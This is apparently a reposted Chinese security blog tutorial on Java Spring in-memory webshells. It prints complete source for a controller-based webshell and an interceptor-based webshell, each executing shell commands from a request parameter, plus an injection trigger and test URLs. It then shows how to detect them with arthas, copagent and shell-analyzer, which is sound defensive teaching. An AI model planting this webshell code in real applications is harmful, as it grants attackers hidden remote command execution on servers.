突击一下内存马查杀,小白看了也能kill!

admin 2023年8月9日20:18:44评论32 views字数 8593阅读28分38秒阅读模式


内存马基础知识

这段代码是一个Java类,命名为myInjectController3。它是一个自定义的控制器(Controller),用于处理HTTP请求。

该控制器类中的静态代码块在类加载时被执行,主要实现了动态注册一个URL映射,并指定了对应的处理方法。具体步骤如下:

从当前请求上下文中获取RequestMappingHandlerMapping实例,即Spring MVC中负责处理URL映射的类。使用反射获取myInjectController3类中的test方法对象。定义要映射的URL地址和允许的HTTP请求方法。创建RequestMappingInfo对象,用于封装URL、HTTP方法等信息。创建一个myInjectController3的实例,并将其方法与URL映射信息注册到RequestMappingHandlerMapping中。myInjectController3类中的test方法是处理具体请求的方法。它首先获取请求和响应对象,然后根据请求中的参数执行命令,并将结果返回给客户端。

需要注意的是,这段代码存在严重的安全问题。它通过执行用户传入的命令,可能导致系统遭受恶意攻击或执行危险操作 

myInjectController3.java

package com.lbc.controller;
import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.Method;
public class myInjectController3 { static { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的 Method 对象 Method method2 = null; try { method2 = myInjectController3.class.getMethod("test"); } catch (NoSuchMethodException e) { e.printStackTrace(); } // 3. 定义访问 controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/RoboTerw"); // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST) //为空的则GET是可以访问的 RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(RequestMethod.GET);
//定义POST如下定义// RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(RequestMethod.POST);

// 5. 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环 myInjectController3 evilController = new myInjectController3("aaa");
mappingHandlerMapping.registerMapping(info, evilController, method2); } public myInjectController3(String aaa) {}
public void test() throws IOException{ // 获取request和response对象 HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec try { String arg0 = request.getParameter("cmd"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ response.sendError(404); } }catch (Exception e){} }
}

这段代码是一个myInjectInterceptor1类,它实现了HandlerInterceptor接口,是一个Spring MVC的拦截器。

在类的静态代码块中,它通过RequestContextHolder获取了当前请求的上下文,并从中获取了AbstractHandlerMapping对象。然后,利用反射技术修改了AbstractHandlerMapping对象中的adaptedInterceptors属性。将自定义的拦截器myInjectInterceptor1添加到了拦截器列表中。

myInjectInterceptor1类中重写了preHandle方法,它是在进入请求处理方法之前执行的逻辑。在该方法中,它首先获取请求参数中的cmwpzz值(命令参数),然后根据操作系统类型使用不同的命令执行方式(Windows系统使用cmd.exe /c,Linux系统使用/bin/bash -c)执行命令,并将命令的输出返回给客户端。

需要注意的是,这段代码存在严重的安全问题。它通过执行用户传入的命令,可能导致系统遭受恶意攻击或执行危险操作

myInjectInterceptor1.java

package com.lbc.controller;
import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedReader;import java.io.InputStreamReader;import java.lang.reflect.Field;
public class myInjectInterceptor1 implements HandlerInterceptor { static {
//首先是利用RequestContextHolder类来获取对应的属性值。 WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);
Field field = null; try { field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); } catch (NoSuchFieldException e) { e.printStackTrace(); } field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = null;

try { //准备动态修改abstractHandlerMapping值 adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); } catch (IllegalAccessException e) { e.printStackTrace(); }
myInjectInterceptor1 evilInterceptor = new myInjectInterceptor1("aaa");
adaptedInterceptors.add(evilInterceptor); }
public myInjectInterceptor1(String aaa) {}
@Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmwpzz"); if (cmd != null) { try { java.io.PrintWriter printWriter = response.getWriter(); ProcessBuilder builder; if (System.getProperty("os.name").toLowerCase().contains("win")) { builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); } else { builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd}); } BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream())); String line; while ((line = bufferedReader.readLine()) != null) { printWriter.println(line); } printWriter.flush(); printWriter.close(); } catch (Exception e) { e.printStackTrace(); } return false; } return true; }
@Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {// HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); }
@Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {// HandlerInterceptor.super.afterCompletion(request, response, handler, ex); }
}

注入springboot项目。可以模拟反序列化漏洞进行注入:

testInjectInterceptor.java

package com.lbc.controller;
import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;
@Controller@RequestMapping("/addSpringInterceptor")public class testInjectInterceptor {
@GetMapping public void test(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws Exception { try { //这里使用class.forname的方式或new 一个对象的方式都可以执行其中static的代码。加载class字节码本质就是会自动new 一个对象。// Class.forName("com.lbc.controller.myInjectController3"); new myInjectInterceptor1("wdaaazz"); httpServletResponse.getWriter().println("add successfully!"); } catch (Exception e) { e.printStackTrace(); } }}

环境启动:

java version "1.8.0_202" java -jar helloworld-1.0-SNAPSHOT.jar

测试 Interceptor

先访问http://127.0.0.1:8080/addSpringInterceptor

突击一下内存马查杀,小白看了也能kill!

再访问http://127.0.0.1:8080/addSpringInterzz?cmwpzz=ls

突击一下内存马查杀,小白看了也能kill!

测试 Controller

先访问http://127.0.0.1:8080/addController

突击一下内存马查杀,小白看了也能kill!

再访问http://127.0.0.1:8080/RoboTerw?cmd=ls

突击一下内存马查杀,小白看了也能kill!

测试 ws内存马

先访问http://127.0.0.1:8080/testInjectWsCmd

突击一下内存马查杀,小白看了也能kill!

使用websocket客户端连接:ws://localhost:8080/cmd

突击一下内存马查杀,小白看了也能kill!

查杀:

方式一:使用arthas-boot.jar工具。

地址:https://arthas.aliyun.com/arthas-boot.jar

java -jar arthas-boot.jar --telnet-port 8081 --http-port -1
输入1

突击一下内存马查杀,小白看了也能kill!

过滤filter:sc *.Filter

突击一下内存马查杀,小白看了也能kill!

查看源码:

jad --source-only org.apache.tomcat.websocket.server.WsFilter

突击一下内存马查杀,小白看了也能kill!

查杀spring内存马:需要自己手动找 输入:sc * | grep my

突击一下内存马查杀,小白看了也能kill!

根据过滤出来的类进行反编译: jad --source-only com.lbc.controller.myInjectInterceptor1

突击一下内存马查杀,小白看了也能kill!

可以写个脚本根据某些关键字进行过滤,比如WebApplicationContextservletcmd等等。

方式二:使用cop.jar工具

地址:https://github.com/LandGrey/copagent/raw/release/cop.jar 启动: java -jar cop.jar

突击一下内存马查杀,小白看了也能kill!

直接查看result,能查看到源码。但不算全。

突击一下内存马查杀,小白看了也能kill!

方式三:使用shell-analyzer工具

地址:https://github.com/4ra1n/shell-analyzer

mac运行示例:

/Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/Contents/Home/bin/java -cp /Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/Contents/Home/lib/tools.jar:gui-0.1.jar com.n1ar4.Application

突击一下内存马查杀,小白看了也能kill!

先检测、再attach、再刷新即可。这里只检测了tomcat系列的内存马。反编译成功。

总结一下:spring 的还真的需要arthas  肉眼看一下,看的思路可以参考业务代码做排除法,还可以参考github 上所有内存马项目,提取代码做一下grep,或者逆一下源码看Runtime/ProcessBuilder/JNDI lookup 等危险 INVOKE 指令!

原文始发于微信公众号(黑伞安全):突击一下内存马查杀,小白看了也能kill!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月9日20:18:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   突击一下内存马查杀,小白看了也能kill!https://cn-sec.com/archives/1944354.html

发表评论

匿名网友 填写信息